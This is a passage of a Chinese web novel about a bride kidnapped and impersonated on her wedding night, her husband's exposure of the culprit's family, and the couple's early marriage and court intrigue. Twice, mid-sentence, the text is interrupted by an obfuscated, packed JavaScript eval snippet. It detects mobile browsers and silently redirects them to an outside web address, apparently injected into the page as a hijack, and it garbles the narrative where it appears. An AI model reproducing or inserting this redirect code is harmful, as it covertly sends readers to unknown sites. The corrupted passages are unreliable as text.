她想去看庄怀序的表情,可是庄怀序不知何时已经转过了身去,根本不肯看她! 傅叶嘉脸上满是怒色,便是她身上脱得只剩亵衣,他也不肯看她! 难道他,真的对她厌恶至此!?她不信,她不信! 就在此时,一个仆从跌跌撞撞从院外跑进来,面带喜色指着外面,气都喘不匀道:“少爷!找到了少爷!夫人、夫人在后院的、的柴房里!完好无损呢!” 18.第十八章 仆从的话说完,傅叶嘉猛地抬头,眼里的恨意几乎滴出血来。 什么!?那个贱人还在府里?怎么可能,怎么可能! 她应该被人运到城外,被扔到树林子里才是!怎么会在柴房里? 难道是傅林茂出了差错?不可能! 他们的计划天衣无缝,绝无第三人知晓,后院的下人都被安排走了,倘若有人发现也绝不会把人放进柴房,一定是哪里出了差错,可到底是哪里?究竟是谁在阻碍她!? 傅叶嘉气得大叫:“不可能!你撒谎!” 她竟不管不顾扑向那仆从,尖利的指甲在他脸上、身上胡乱抓挠,抓得他衣裳凌乱,裸露的皮肤留下道道血痕:“余幼薇已经死了!她死了!” 那仆从哪敢还手,只能一边挨打,一边求助地望着自家少爷。 人已经找到,庄怀序再没耐心跟她耗下去,他迈步上前,一个手刀将人打晕,回身对两个仆从下令:“你们将她捆了,再持我名帖,请傅大人过府一叙——就说,他纵女搅乱圣人赐婚,藐视皇威,是何居心!?” “是!” 两人当即将地上的傅叶嘉拖走。 庄怀序又对满身血印的仆从道:“你去,命人将新房打扫干净。” “是,少爷。” 一口气交代完所有事,庄怀序几不可闻地舒了口气。他随手将染血的长剑掷于地上,面上凛冽的寒气如潮水般退去。 再抬脸,又恢复了温润如玉的样子,这才出了院子,到后院的柴房去,将今夜真正的新娘接回来。 - 昏昏沉沉间,幼薇忽然闻到一股浓烈刺鼻的味道,硬生生呛醒了。 她咳坐起身,一手不住抚着胸口,好难闻,好想吐。 面前突然被人递了一杯茶水,执杯的手修长干净,骨节分明。 “咳……多谢……” 她正欲接过,一抬眼,庄怀序一身喜袍坐在床边,面容关切而紧张。 幼薇睁大眼睛,是庄怀序!她的夫君,庄怀序!他找到她了! 紧绷的心弦骤然一松,紧接着,那些压在心底的紧张和害怕立即翻涌上来,她看着他,眼泪忽然就掉下来了,以至于那杯茶都没接。她害怕地扑到庄怀序的怀里,嗅着他身上的兰草香气:“循之,你知不知道,我差点见不到你了。” 她也叫他循之,今夜有两个女人叫他循之,然而落在他的耳朵里,却是截然不同的感受。 一个柔软依赖,一个癫狂占有,庄怀序无意识揽着她,有一瞬的失神。 “没事,都过去了,不会再有这样的事了。” 他回过神,一手端着茶,另只手,一下一下抚着她,眼底是淬了冰的冷意。 幼薇哭了一会儿,将那些害怕的情绪都用眼泪冲走,意识到自己现在在做什么,忽然感到一阵难为情,她红着脸从庄怀序怀中退出来,一时无措,连忙将他手里那杯茶接过来闷头喝了。 待她喝完,庄怀序接过她的茶杯,问:“还要吗?” 幼薇摇摇头,脸颊仍旧热热的:“不用了,谢谢你。” 又紧张地问:“你是怎么找到我的?我记得我被坏人捉去了……” “你被人关在柴房里。” 找到她的时候,盖头还好好的盖在脸上。 “柴房?” 幼薇拧眉,总觉得哪里不对。 她明明记得,自己是被关在箱子里……氧气不足,她慢慢晕了过去…… 再后来,一个模糊的明黄身影在眼前闪现。 不。 不可能。 绝对不可能! ——她怎么会有一个记忆瞬间,看到了李承玦? 她心中猛地一悸,在对上庄怀序关切的目光时,瞬间又咽了回去。 首先,她不可能看到李承玦,这应该是绝望中的幻觉;其次,这些事她不能对任何人言明,这是禁忌。尤其,她已经和庄怀序成婚了。 庄怀序微笑抚了抚她的发顶:“绵绵,怎么了?” 他温柔得一如既往,双眸专注地望着她,尤其那声绵绵,在他口中多情缱绻,勾人心动。 幼薇心头一跳,她勉强笑道:“没什么,我想起昏迷之前听到是傅叶嘉和她弟弟动的手,他们没对你怎么样吧?” “没事。”庄怀序淡淡的,“我看出那不是你,已经让人去请侍郎大人过来了,随后下人便找到了你,还好你没事。” 他望着眼前这张姝丽可爱的脸,今日的妆容极为衬她,比往日更动人许多,尤其她刚脱险,一双眼楚楚的,那么信任他,依赖他,没有任何防备。 心头倏然一动,像是她眼底的水滴入了他的心湖里,泛起浅浅涟漪,他的喉咙一阵干痒,垂在袖中的手捻动,待他反应过来时,指尖已不受控地落在了她的脸颊上。 滑腻的触感,说不出的软嫩,他指尖轻颤,察觉到面前之人眼中的疑惑和不自然,他收敛表情,轻轻将她耳旁的鬓发绕到耳后,而后缩回手来,将方才的一切都化为一个再寻常不过的举动,转开话题道:“我该向你道歉,今日是你我大婚之日,我却让你出了这样的事,是我不察,没保护好你。” 幼薇摇摇头:“别这样说,难道对你而言,不是一场无妄之灾吗?” 庄怀序早知她善解人意,也没料到她会这样说,心头一怔,心湖的涟漪泛得更深了。 他道:“无论怎样,我想,对女子而言,成婚的意义总是更重些,我怕你回想起今日,唯有痛苦和不快。” 他能这样用心替她着想,幼薇已经觉得很开心了,她笑着摇头:“谁说的?” “我只会记得夫君的温柔,体贴,和处处为我着想。你说的痛苦与不快,其实在我心里停留得很短暂,我若只记得这些,才是真正辜负了你对我的好。” 庄怀序默然,脑海中却回想起自己今夜对傅叶嘉的所作所为。 倘若她知道自己今夜做的事,她还会这样说吗? 恰在此时,一个仆从敲门,在门外道:“少爷,傅大人到了。” 仆从打断了他们的对话,这让庄怀序在心底松了口气,他露出一个温和的笑,摸摸幼薇的头:“今日之事,是我欠你太多,时辰不早,我还有些事情处理,可能要晚些回来,你早点休息罢。” - 后堂。 前院宾客已经散尽,毕竟人多眼杂,傅宗兴穿了件黑色斗篷,被引着从偏门进来,一入府便被请到后堂。 有下人上来奉茶,傅宗兴把茶端起又放下,强迫自己坐在椅子上静等,可是不断敲打桌子的手还是出卖了他的情绪,左右看了看侍婢想张口问些什么,又觉得这样自降身份,到底忍住了,只是时不时向外张望,手指敲得频率更快了。 庄怀序便是这时来的,身后还跟着被五花大绑塞了手帕的傅叶嘉,头发凌乱,衣襟沾血,要多狼狈有多狼狈。 傅宗兴身子一抖,猛地站起来,连忙上前按住女儿肩膀,一双眼红得要滴血:“嘉儿!” 回头怒视庄怀序:“庄编修,这是什么意思,是否该给本官一个交代?” 庄怀序淡淡转回身:“巧了傅大人,在下也想问大人要一个交代。” 他屏退左右,将傅叶嘉绑架余幼薇,又冒充新娘强嫁自己的事情一一说了,傅宗兴还没听完,便已是气血上涌,胸口起伏,当场驳斥道:“不可能!一派胡言!!我女儿才不会做出这种事!堂堂左相之子,怎敢污蔑小女清白?你有证据吗?” 他将傅叶嘉护在身后,脸红气粗道:“嘉儿放心,为父不会让任何人污蔑于你!” 庄怀序并不意外傅侍郎的态度,傅叶嘉如此大胆,与她父母往日的溺爱脱不开干系。 但是,他没有那个时间和兴趣与他唇枪舌剑什么。 他淡淡转回身,目光如冰刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601670|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般落在傅宗兴脸上。 “傅大人,令爱绑架我夫人,冒名顶替,行此大逆不道之事。人赃并获,证据确凿。” “我庄府未当众揭穿,已是给足你傅家颜面。” “此刻,不是你向我讨要交代——” 他向前一步,声音陡然一沉: “而是你傅家,该给我庄府,给陛下一个交代!” 他的语调平静,说出的话却如同一个又一个的闷雷,直劈在傅宗兴的心头上,他被庄怀序的气势逼得接连倒退两步,脸色一阵青一阵白,唇上的胡子控制不住地颤抖。 他怒不可遏转身,拿开傅叶嘉嘴里的帕子,又解开傅叶嘉腕上的绳索,脱下身上的斗篷,盖在女儿身上。 傅叶嘉却逮着机会似的,不顾一切冲到庄怀序身上,竟不管不顾意图索吻。 庄怀序不躲不闪,只是冷眼瞧着。 “嘉儿!你干什么!!!” 就在傅叶嘉马上吻上庄怀序时,傅宗兴连忙冲上去,一把扯住傅叶嘉的后衣襟,硬生生将人扯回来。 他瞪大眼睛,脸都涨红了,指着院外道:“跟我回家,走!” “我不要回家!我要嫁给庄循之!我才是他娘子!不是余幼薇那个贱人!” 她又要扑上去,傅宗兴捡起绳子将傅叶嘉捆住,又拿帕子把她的嘴塞上:“住口!跟我回家!嘉儿,你生病了,病糊涂了!” 傅叶嘉呜呜挣扎,傅宗兴抓着绳索怕女儿跑了,面色铁青地对庄怀序道:“今日之事,本官查清之后,自会给你一个交代!不过,在此事查清之前,也请庄修撰守口如瓶,没的污了小女清白。” 庄怀序颔首:“这是自然。” - 马车里。 傅宗兴看着被自己亲手捆住的女儿,双眸通红,头发散乱,衣裳扭曲,哪里还有半点千金大小姐的样子。 他知道自己教女无方,今日之事,他自觉颜面丢尽,可看着女儿如此这般,又怎能不悲不痛。 “唉!嘉儿,你这又是何苦,天下好男儿多的是,为父疼你爱你,怎舍得看你为了一个男子作践自己?” 他老泪纵横,说着说着,心中对庄怀序也滋生了几分恨意。 他如花似玉的女儿如此卑微,他又在自傲什么?便是状元郎、左相之子又如何,他女儿如此优秀,难道配他不得? 可是人家娶妻了,又有什么办法!他恨一恨便算了,况且当务之急也不是这个。 “你放心,回去之后,为父便对外说你病了,绝不会让你在外面有半点难堪。”顿了顿,他的眼里又射出寒意,“你告诉为父,今日之事,是不是傅林茂怂恿你的?” 傅宗兴说别的,傅叶嘉听了都无动于衷,直到他问起傅林茂,傅叶嘉总算有了反应。 她用力摇头,嘴里呜呜啊啊的也不知在说什么,显然很急。 傅宗兴见状面色稍霁,可那寒意仍未褪去:“未曾参与,难道他便脱了干系了?他是你弟弟,同你一同赴宴,一齐离席,为什么没看好你?你不见了,他却没事,他算什么无辜?” 傅叶嘉拼命跺脚,呜呜啊啊的声音更大了。 “你不用说了!他没看好你,便是他的错,未能守住阿姐,害你今日如此,也是他这个弟弟失责。等回到家去,必须让他在你院子里跪上三天,好好反省反省。” 说着话马车停下,傅家便到了,傅宗兴从车上下来,再将女儿扶下来,傅叶嘉才刚探头,整个人便吓得跌坐在车上。 傅宗兴预感不对,转身看去。 夜色里,数十支火把烧得噼啪作响,缇骑司的人穿着玄色劲装,腰间佩刀泛着冷光,层层叠叠地围在傅府门前,像一道密不透风的铁墙。 正中间,一个国字脸的男人上前一步,右手按在刀柄上,左手高高举起一块令牌。 “缇骑司副使程莫,奉旨,请侍郎千金走一趟。” 19.第十九章 门下侍郎傅宗兴被贬为散官,没收宅邸;云英郡主入寺修行三年;其子女刺配远州,终身不得入京。 此一道消息传开,举朝震惊,就连百姓也是议论纷纷。 昨日还是手握实权的从三品侍郎,夫人是宗亲郡主,何等风光;一夜之间,竟从云端跌入泥沼,家眷也尽数受罚。 傅家为何突然被陛下处决,其中内幕如何,倒是众说纷纭。 有人说,是门下侍郎私通乱党,数月前的刺杀案就与侍郎有关;有人说,傅家教女无方,纵女绑架官眷;有人说,是陛下培养的缇骑司听到了傅宗兴在家骂陛下得位不正,血脉不纯,所以才有此祸事。 最后一种说法传得最广,毕竟陛下重用缇骑司有目共睹,尤其花朝节那场刺杀过后,缇骑司重新扩编,于京中各处巡查,神出鬼没,直达圣听。 若傅侍郎真在家中口出怨怼之言,被其侦知,落得如此下场便不足为奇了。 缇骑司的指挥使卫昭已派去福建至今未归,近几个月,副使程莫已是京都数一数二的红人。 但只有极少的人知道,傅家犯的罪是绑架官眷,且被绑之人正是陛下亲自赐婚的余幼薇,幸好缇骑司副使程莫在相府周围巡查撞见此事,第一时间救下新娘,将这场祸事扼杀在摇篮里,新娘也只是完好无损地被他们绑在了柴房中。 傅家教女无方,藐视皇权,此乃大不敬,绑架官眷,更是目无王法,如此处罚,已是皇恩浩荡。 庄府知道这件事的时候,是程莫亲自上门讲明的。 在听到“幼薇大婚夜被绑架”的时候,众人脸色都暗暗变了变,多了些不好的猜想。 直到听到那句“人就绑在了柴房里”,他们的脸色才缓和些,但疑虑仍旧未消;没想到庄怀序亲自作证,并让下人过来禀明情况,众人又问了幼薇几句,幼薇一一答了,细节都对得上,神色未见说谎,他们脸上才露出喜色来。 婶婶打圆场,只道:“没事就好,没事就好!” 祖母责怪庄怀序:“你这孩子,怎么连家里人都瞒着!” 一家人商量过后,还是决定将真相压下去,毕竟传出去总是有损清誉,于是关于傅宗兴偷说圣上坏话被处决的说法越来越多,后来干脆就笃定了这个罪证。 只有幼薇时不时仍会疑惑。 关于那夜,她在黑夜里模糊看到的脸,究竟是不是错觉? 还是,她又像从前一样,梦到了他的脸。 - 幼薇很快确认了那就是错觉。 御赐的婚事,新人在成婚之后,通常都要入宫谢恩,感谢君王仁慈,赐下此等良缘。 幼薇实在不想再见他,花朝节那夜发生的事情,已经彻底让她死心,况且她既已同庄怀序成婚,庄怀序也是一个温柔体贴的好夫婿,她的生活一切圆满,不应该再回首过去。 那些幻梦一样的过往,就如同那朵纯白的高山杜鹃,是很美,可它根本不属于中土,它就该生长在面朝雪山的地方迎风傲雪,那些环境险恶的地方才是它真正的生存之地,又怎能随她屈身中土,栽植在她狭窄的温室之中? 所以,她只能短暂地看过一朵,然后继续往前走。 她最大的错误,是以为自己可以将它留住,甚至可笑地做成了干花夹在书里。 好在她的担忧并未持续多久,因为入宫谢恩的请求被驳回了,宫中递回消息,说陛下忙于恩科之事,实在分身乏术,谢恩的心意陛下已领,让两位新人不必挂怀。 幼薇松了口气,同时也清楚,事忙是假,李承玦不想看到她才是真。 所以那天晚上,她绝不可能见到他。 - 和庄怀序成婚后的日子,她的确过得很好。 婆母和祖母从不需要她问安,叔婶一家也同样。庄怀序的院子很有独立性,没有任何人过来打扰,甚至连他院子的奴仆卖身契、一应收支也完全自己掌握。 婚后第一天,庄怀序便把小院的对牌都交给了她,如果她想自己掌家,可以请教庸叔,若是嫌麻烦不愿管,一应事物照旧交给庸叔打理,她想问什么直接叫庸叔问就是,也随时可以查账。 院里的下人待她都很客气,也极为上心,连带对小桃也是极为尊敬。从前在家中仆人少,小桃这下是彻底当上了大丫鬟,平日里还有人伺候她的,她跟幼薇说这是主子得道鸡犬升天,幼薇听了忍俊不禁。 无事的时候,庄怀序都在书房里。相对于相府大宅,以及他独立的院子,他的书房位置显得又偏又远,不过好处是十分僻静。 书房建立在水上,前后是成片的竹林,是他出生那年所植。 水上有精致的木桥,连接岸边与书房。 池水里养了许多没见过的鱼,这些鱼似乎很名贵,每天要请专人照顾,庄怀序说是一些景观鱼。 说完,又特意叮嘱她,这桥华而不实,建得不大结实,塌过好几次,她若有事寻他,务必让庸叔陪同,尤其夜里。 他说,更深露重,竹林里没有灯,桥上青苔湿滑,踩在上面很容易滑下去,池水也是很深的活水,一旦摔下去很危险,呼救很难听到。 所以,有事让庸叔陪着便可以了。 把幼薇听得心有余悸,想不到这书房风景美则美矣,风雅之下处处危险。 所以她问:“你幼时都在这里看书吗?你那么小,父亲也不担心你出事吗?” 庄怀序听得一怔,旋即回道:“庸叔陪着,无事。” 随后,他透过窗外看着这片竹林,半晌没有说话。 幼薇没有再说什么,不过她又不爱读书,这样危险的书房,又那么偏远,没事还是不要过来了。 最关键的是。 成婚后,她最担忧的事,至今尚未发生。 ——大婚那日出了意外,庄怀序嘱咐她先睡下。 睡是一个人睡,醒来却是和庄怀序一起,不过两个人衣带未解,什么都没发生。 她当他是体察她心情尚未平复,所以没有对她做什么,可是第二日第三日也不曾。 第四日晚,侍婢吹灯后,两人照旧躺在一起,还是两个被子。 幼薇心里想什么便直接问了:“循之,你为何总与我……合衣而睡……” 她感觉到庄怀序转头看了她一眼,不知为何,竟在黑暗中半撑在她身边俯视着她,同时,一只微凉的手捏住她下巴。 幼薇一下紧张到极点,身子不受控开始轻颤,她很想闭上眼睛又不敢,一双大眼睛在黑暗中盯着他,弱声道:“我……只是问问……没有要你与我做什么的意思……” 庄怀序缓缓,缓缓地俯下身,朝她的嘴唇贴去。 察觉到兰草气息靠近,幼薇闭眼两秒,感受到他呼吸间的热意,她心脏紧了又紧,忍不住屈臂将人推开。 奇怪的是,她的力气并不大,可还是轻易推开了。 庄怀序又恢复了半撑着身子看她的姿势,轻轻捏了捏她的下巴,哑声问:“现在知道了吗?” 兰草气息仍在,四面八方将她萦绕。 幼薇睁眼,心跳很快,却被他说得懵懵的:“知道……什么?” 庄怀序放开她,摇摇头,声音无奈:“绵绵,其实你并未真正接受我。” 一句话让幼薇呆住,不可置信地看向他。 他在黑暗中挑起她的一缕发,轻抚:“我娶你,不是为了这件事;你若对我无情意,这事做了便没意思;纵使我想,我也不愿强迫你。” 说完,为她盖好被子,重新躺下,闭眼。 “往后若没想好,便不要再问这样的傻问题。” “……” 她不得不承认庄怀序的敏锐,连她自己都没意识到,庄怀序却发现了。 好在他言行如一,无论何时对她都是以礼相待,幼薇慢慢放下心,再不纠结此事。 她的生活没有任何烦恼,渐渐的,幼薇开始以为,日子可以一直这么平淡美好地过下去。 - 幼薇再听到李承玦的消息,还是从谢明姝口中。 她说,她入宫去看柔太妃,皇上知道后嘉奖了她。 谢明姝伸出手臂,露出她腕上的翡翠珠串。 柔太妃从前位份不高,但也没什么存在感,只是人和善,不跟任何人交恶,哪怕是对不受喜爱的燕妃母子,也时时送些吃食来,正是这份善,让李承玦登上大统后给了她尊崇的太妃之位,连她的母家也一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605591|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并提携。 柔太妃家里与国公府沾些亲故,其实很远,极少走动,如今谢明姝为了合理进宫,便搬出了这层关系入宫探望,柔太妃老了依旧和善,并未拒绝这来意不明的亲近,她很高兴有人能来看她。 皇上知道后便赏了她珠串,还叮嘱她有时间常陪太妃说话。 幼薇知道李承玦从前在宫里过得不好,因为他生母是檀罗国公主,番邦和亲本就低人一等,先帝新鲜一时便不怎么上心了,宫里没有宠爱便没人尊敬,宫婢内侍常常苛待他们,侍奉更是没有,吃食也都是他们挑剩的。 从前的日子,他只说了很少一点便不再多提,可光是这些已经足令幼薇触目惊心,柔妃的好也被李承玦提及,他记得她的照拂,那份感激不是假的。 所以她那时想,她一定会对他很好很好,他记得柔妃那点微末的好,自然也会记得她的。 当然,她的初衷也和柔妃一样,对他好只是对他好,并不需要他回报什么。 现在回想,她根本分不清他那时说的是真话还是谎言,毕竟她从未认识真正的他。 不过此时看到谢明姝眉宇间的喜悦,她还是送上祝福:“恭喜明姝姐姐,看来皇后之位非你莫属。” 谢明姝淡淡微笑:“想当皇后的人不止我,有的是人盯着。” 她们二人坐在彩凤楼中,谢明姝常来此处消遣。 便如此刻,她们二人坐在有屏风遮挡的位置听戏。 幼薇执起她的手腕,露出上面绿得通透的珠串:“可是皇上只赏了你,想来姐姐是特殊的。” “你也支持我当皇后?” 幼薇觉得这话问得奇怪,却还是微笑:“当然,若注定有一人成为皇后,我自然希望是姐姐你。” 谢明姝盯了她一会儿,从袖中掏出一张折起的纸来,展开:“你帮我瞧瞧,这上面的东西你认识吗?” 幼薇接过一看,视线一顿。 她岂止认识,这是李承玦亲自用树枝在地上一笔一画写给她看的。 他说:“在檀罗国,人们彼此间都称呼对方的名字,所以私下里,母妃不让我喊她母妃。 “她也让我叫她的名字。 “阿依夏。 “可是直到她死,都没有人知道她叫什么,除了我。” 谢明姝递给她的这张纸,上面就是阿依夏三个字的檀罗文。 幼薇不动声色,将纸正着看完倒着看,甚至透过日光瞧了瞧,满脸困惑:“明姝姐姐,这是什么东西?好奇怪,你从哪里看来的?” 谢明姝伸手,幼薇把纸还回去,谢明姝又看了一遍,缓缓道:“在陛下的扳指上瞧见的。” 幼薇心里怔了下,面上故意打趣:“明姝姐姐怎么连陛下扳指上有什么都瞧见了?” 谢明姝看她:“绵绵成亲后倒是学坏了。” 说完,继续道:“陛下将珠串递给我,我不小心瞧见了,想着被陛下刻在扳指上,应是什么重要的东西,我也想送陛下什么,若我能够知晓所刻内容,说不定能投其所好。” 幼薇想,谢明姝果然聪明,这名字的确很重要。 不过。 “明姝姐姐怎会想到问我?” 幼薇拿起一块糕点吃了,仿佛只是随口一问。 “不过是死马当活马医罢了。”谢明姝也捻起一块糕点,“近日我逢人就问,实在是问魔怔了,明知你不可能认识也忍不住问问,绵绵别见怪。” 幼薇笑笑:“没事。” - 八月十五,中秋盛宴,宫中举办了一场宴会,邀请朝中五品以上的官员携家眷入宫赴宴。 这是圣上登基以来办的第二场宫宴,但是下面早已传开,此次携子女赴宴,其实大有为圣上选妃之意。 庄怀序以家眷身份参与,幼薇也要一并出席,她想起上次入宫被赐婚,宴会那么多人,她根本瞧不见他什么,因此放心大胆地去了。 况且二人成婚三月,迟迟未向陛下谢恩,正好借此次机会,再当文武百官的面一并向陛下谢过,也算全了这场君臣赐婚之美名。 如此准备一番,八月十五那日,幼薇同夫君乘坐马车,在浩浩荡荡的队伍里,再次排队入宫了。